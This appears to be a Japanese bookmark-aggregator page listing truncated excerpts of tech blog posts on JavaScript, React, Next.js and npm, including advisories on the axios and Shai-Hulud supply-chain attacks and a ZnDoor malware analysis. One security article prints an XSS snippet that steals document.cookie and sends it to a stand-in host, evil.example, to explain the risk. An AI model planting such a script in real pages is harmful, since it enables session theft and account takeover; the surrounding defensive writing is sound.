axios ソフトウェアサプライチェーン攻撃の概要と対応指針 - GMO Flatt Security Blog
2026年3月31日、HTTP クライアントライブラリ axios の npm パッケージが侵害されました。攻撃者はメンテナの npm アカウントを乗っ取り、マルウェアを含むバージョン 1.14.1 および 0.30.4 を公開しました。axios は npm エコシステムで週間約1億ダウンロードを誇る主要パッケージです。本記事では公開情報をもとに、事象の概要を記録します。また、対応指針を示します。 TL;DR - 対応指針 axios への直接依存に限らず、間接依存（transitive dependency）でも postinstall フックは発火します。 自身のプロジェクトが axios を直接利用していなくても、依存ツリーのどこかに axios が含まれていれば影響を受け得ます。npm ls axios で確認してください。 npm ls axios や lockfile により
Node.js作者の発言「人間がコードを書く時代は終わった」について思うこと | maguro.dev
日本語訳: これまで何千回も言われてきたことだけど、自分の声も加えさせてほしい――人間がコードを書く時代は終わった。ソフトウェアエンジニアを自認する我々にとっては穏やかでない話だが、それでも事実だ。ソフトウェアエンジニアの仕事がなくなるという意味ではなく、プログラムのシンタックスを直接書くことはソフトウェアエンジニアの仕事ではなくなった、ということだ。 正直、内心ぎょっとした。 Ryanは Deno Land Inc. を共同創業し、Node.jsに代わる新しいJavaScript/TypeScriptランタイムであるDenoを作っている。僕はその会社でソフトウェアエンジニアとして働いている。自分の会社のCEOが「人間がコードを書く時代は終わった」と言っている。 ソフトウェアエンジニアとして、これまで通りのやり方を続けていたら何が起きるかわからない——最悪のケース、つまりレイオフだってあり
ただNext.jsを使う - カミナシ エンジニアブログ
カミナシエンジニアの osuzu です。 私は職能柄、Webフロントエンド技術の選定に関わる機会が多く、これまで React Server Component や Next.js に関する発信なども過去にしていました。 そうした事情から2025年12月の React や Next.jsのセキュリティ問題 に対し心痛めています。 私は現在もプロダクションでNext.jsを運用していますが、選定した事を後悔しているかというとそう単純な話でもありません。 そこであらためて、Next.jsをプロダクションで採用するポイント、何を意識した構成にしているか記載します。 今回の記事では以降、ReactはRSC(React Server Component)を含むものとし、Next.jsは記載のない限りApp Routerを指した話となります。 BFFとして使う まず私はプロダクション運用するプロダクトに
React2Shellによって実行されるマルウェアZnDoorについて | セキュリティナレッジ | NTTセキュリティ・ジャパン株式会社
本稿では、実際に日本国内の企業で観測されたReact2Shell悪用事例と、マルウェアZnDoorの解析結果を共有します。 本記事はSOCアナリスト 野村和也が執筆したものです はじめにSOCでは2025年12月から、日本国内においてReact2Shell（CVE-2025-55182）を悪用したインシデントを多数観測しています。それらの多くはコインマイナーなどが実行されていますが、中には未知のマルウェアが実行されるケースも存在します。 私たちは今回発見した未知のマルウェアをZnDoorと名付け、調査を行いました。ZnDoorは少なくとも2023年12月には使用されていた可能性があり、ネットワーク機器の脆弱性悪用事例と関連があると推察されます。 本稿では、実際に日本国内の企業で観測されたReact2Shell悪用事例と、マルウェアZnDoorの解析結果を共有します。 攻撃フロー本攻撃の起点
【npm】11月21日以降にnpm installした人へ - Shai-Hulud感染チェック & 多層防御ガイド
npm史上最悪のサプライチェーン攻撃「Shai-Hulud 2.0」。正規パッケージのメンテナー認証情報を盗み、悪意あるバージョンをnpmに公開するという手口で、11月21日から急速に拡散しました。 この記事では2つのことを解説します： 自分が被害にあっていないか確認する方法 今後の被害を防ぐ多層防御アプローチ *この記事と同じ内容を動画でも解説していますので、動画の方が好きな方は下記からどうぞ 被害確認 - あなたは大丈夫か？ Shai-Hulud 2.0は11月21日から急速に拡散しました。この日以降にnpm installを実行した人は、感染の可能性があります。 チェック1: GitHubアカウントの確認（ブラウザで完結） 確認ポイント1: 見覚えのないリポジトリ まずGitHubで自分のリポジトリ一覧を確認。 Shai-Huludは感染したアカウントにランダムな名前のパブリックリポ
ユーザー投稿のコードをブラウザ上で他人が動かせるサービスを作るときのセキュリティについて
問題1: 他ユーザーの認証情報にアクセスできてしまう 投稿されたコードを普通にサイト内に埋め込むとXSSがやり放題な状態になります。 認証CookieのHttpOnlyが無効になっている場合 ユーザーがたくさん集まる超面白いゲームを作り、その中に以下のようなコードをしれっと含めると、そのゲームを開いたユーザーのアカウントの乗っ取りが可能になります。 <script> // 1. Cookieを取得 const stolen = document.cookie; // 2. 攻撃者のサーバーに送信 const img = new Image(); img.src = "https://evil.example/steal?cookie=" + encodeURIComponent(stolen); </script> CookieのHttpOnly属性が無効になっていると、スクリプトからCo
PCjs Machines
Welcome to PCjs PCjs uses JavaScript to emulate a small collection of hardware and software that I grew up with in the 1970s and 1980s, allowing you to experience their slow CPUs, low-resolution displays, and primitive sound effects, all in the comfort and safety of your desktop or mobile web browser. Over time, PCjs emulations have expanded to include selected IBM PC Compatibles and more classic
JSFuck - Write any JavaScript with 6 Characters: []()!+
()+ []! JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code. It does not depend on a browser, so you can even run it on Node.js. Use the form below to convert your own script. Uncheck "eval source" to get back a plain string. Encode Links Share on Twitter View source on GitHub Follow @aemke
![JSFuck - Write any JavaScript with 6 Characters: []()!+](https://cdn-ak-scissors.b.st-hatena.com/image/square/78d63f04b7f95b54bbeb23cf697a8de04069da64/backend=imagemagick;height=288;version=1;width=512/http%3A%2F%2Fwww.jsfuck.com%2Fpreview.png)
ep168 Yearly Platform 2024 | mozaic.fm
Theme 第 168 回のテーマは 2024 年の Yearly Platform です。 Show Note 今年の mozaic.fm 10 周年記念イベント mozaic.fm renewal WIP 通常回なし 2024 年チェックポイント Module Harmony Shared Dictionary Transport without Yoav Baseline OHTTP/DoH/ECH/over QUIC/MLS などですべの暗号化が終わったあとの管理や保安の話 CookieBis Apple のブラウザエンジン規制 DOMParts + Module Harmoney = WebComponents 元年 v6 ? Navigation API Manifest v3 移行と AdBlocker どうなるのか light-dark() / CSS Color v4 R
Zod を使って OpenAI の構造化された出力を扱う
OpenAI の gpt-4o-2024-08-06 以降のモデルではパラメータとして JSON Schema を指定することで構造化された出力をサポートしています。Node.js 向けの OpenAI SDK では Zod を使ってスキーマを定義し、構造化された出力を扱うことができます。この記事では実際に Zod を使って OpenAI の構造化された出力を扱う方法を紹介します。 OpenAI といった生成 AI モデルをアプリケーションに組み込む際、出力の構造を明確にすることが重要です。AI の出力を構造化することにより、次のステップの処理をデータを信頼できる形で受け渡すことができます。 例として、AI に今日の夕飯を提案してもらうとしましょう。プロンプトを工夫せずに AI に問い合わせると、以下のような回答を返す可能性があります。 玉ねぎ、にんじん、鶏肉を使った夕飯のおすすめをいくつ
TypeScript/JavaScript Array完全攻略2024 | フューチャー技術ブログ
TypeScriptアドベントカレンダーの12/5のエントリーです。昨日は@nanasi-1さんの【TypeScript】ジェネレーターによる遅延評価でフィボナッチ数列を生成するでした。 イマドキのJavaScriptの書き方2018というのを以前書いたのだけど、配列周りはかなり変わっているな、というのを思ったので、そこの部分だけアップデートするつもりで書いてみました。 実環境で使えるECMAScriptバージョン今時のブラウザは常に最新に更新されるはずなのでECMAScript 2024の機能もフルに使えるはずですが、おそらくNode.jsのLTSが一番古いJavaScriptエンジンということになるのかな、と思います。本記事執筆時点でサポート中のバージョンは以下の4つです。軽くメソッドを調べたりした感じ、こんな感じかと。202x年の11月ぐらいになると、ES202xがLTSバージョンで
【最強】Honoフル活用事例2024年
Hono アドベントカレンダー 2024 初日担当の おりばー です。 本記事では、11 月にリリースした漫画プラットフォーム「comilio」の開発事例をもとに、とにかく Hono が最強だということをつらつらと書いていく記事となります。 個人的 2024 年ベストオブ優勝フレームワークは Hono 一択です。Hono が無ければ、おそらくプロダクトを今もリリースできていなかったと言っても過言ではありません。 ぜひこの記事を参考にして、0 -> 1 を立ち上げる際は Hono を積極的に採用してもらえればと思います。 また、Hono という最高のプロダクトを生み出してくれた @yusukebe さんには全身全霊を持って感謝します。 「comilio」のインフラ構成 まず、今回の実例である漫画プラットフォーム「comilio」の構成を紹介します。 「comilio」では TypeScrip
【初心者必見】Meta（Facebook）ピクセルとは？設置方法と動作確認まで徹底解説｜キーマケのブログ｜株式会社キーワードマーケティング
Facebook広告 【初心者必見】Meta（Facebook）ピクセルとは？設置方法と動作確認まで徹底解説 Meta 広告（Facebook 広告や Instagram 広告など）を始めるときに Meta ピクセル（旧：Facebook ピクセル）の設置は必要不可欠です。とはいえ、Meta ピクセルの設定方法が分からなかったり、そもそも Meta ピクセルが何か理解できていなかったりという方もいるのではないでしょうか。 この記事では Meta ピクセルの概要やできることを紹介し、画面キャプチャを用いて設置方法を説明します。 Meta ピクセルとは Meta ピクセル（旧：Facebook ピクセル）とは、商品の購入や問い合わせのような Web サイト内でユーザーが取った行動を計測するため、サイトに設置する JavaScript コードです。ベースコード、イベントコード、パラメータの3つで
TypeScriptの型を展開してホバー表示してくれるVSCode拡張「Prettify TypeScript」が便利
TypeScriptは強力な型システムが魅力です。 しかし、複雑な型定義は理解が難しいです。特にライブラリの型定義などはジェネリクスや交差型などがネストしていることも多く、すぐに把握するのが難しい場合があります。 Visual Studio Code（以下VSCode）でTypeScriptの開発をしている際、型にカーソルをホバーすると型情報が表示されます。 しかし、深いネストや複雑な型の場合、展開される情報が不十分で、定義を追う必要があります。 そんな時に役立つVSCodeの拡張機能がないかな〜と探していたら「Prettify TypeScript」というぴったりの拡張機能を発見しました！この拡張機能を使うと、ホバーした時に型が展開された状態で表示されるため、型情報を把握しやすくなります。 Prettify TypeScriptの概要 Prettify TypeScriptを使用すること
Next.js App Routerの"use server"雑感 : Rails視点から
はじめに Next.jsにServer Actionが新しく導入されました。サーバ上の関数をブラウザから直接呼び出すようなコードの書き味を提供するもので、非常に魅力のあるコンセプトだと私は思っています。ただしサーバ上で実行されるコードとブラウザで実行されるコードの境界が曖昧で、"use server"のセキュリティ上の懸念もよく議論されています。 一方で、私の先日の記事Next.jsで簡単なCRUDアプリを作りながら気になったセキュリティ: Railsの視点からで、私はこの"use server"問題には言及しませんでした。まだ非常に新しい話題でかつNext.js側の対応も進行中だというのもありますが、実は個人的にあまり気にならないのが最大の理由です。 気にならなくなったきっかけは、Server ActionをRuby on Railsのコントローラと同じように考え始めたことです。こうする
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
React は次の10年を生き残れるか：3つのトレンドから考える
JavaScript Analysis for Pentesters
Lynx
GitHub - evbacher/gd2md-html: Convert a Google Doc to Markdown or HTML. This Docs add-on (available in the Google Workspace Marketplace as Docs to Markdown) converts a Google Doc to simple Markdown and/or HTML.
徹底解剖！ 医療業務システムのReactコンポーネント設計 / Deep Dive into React Component Design for Medical Systems
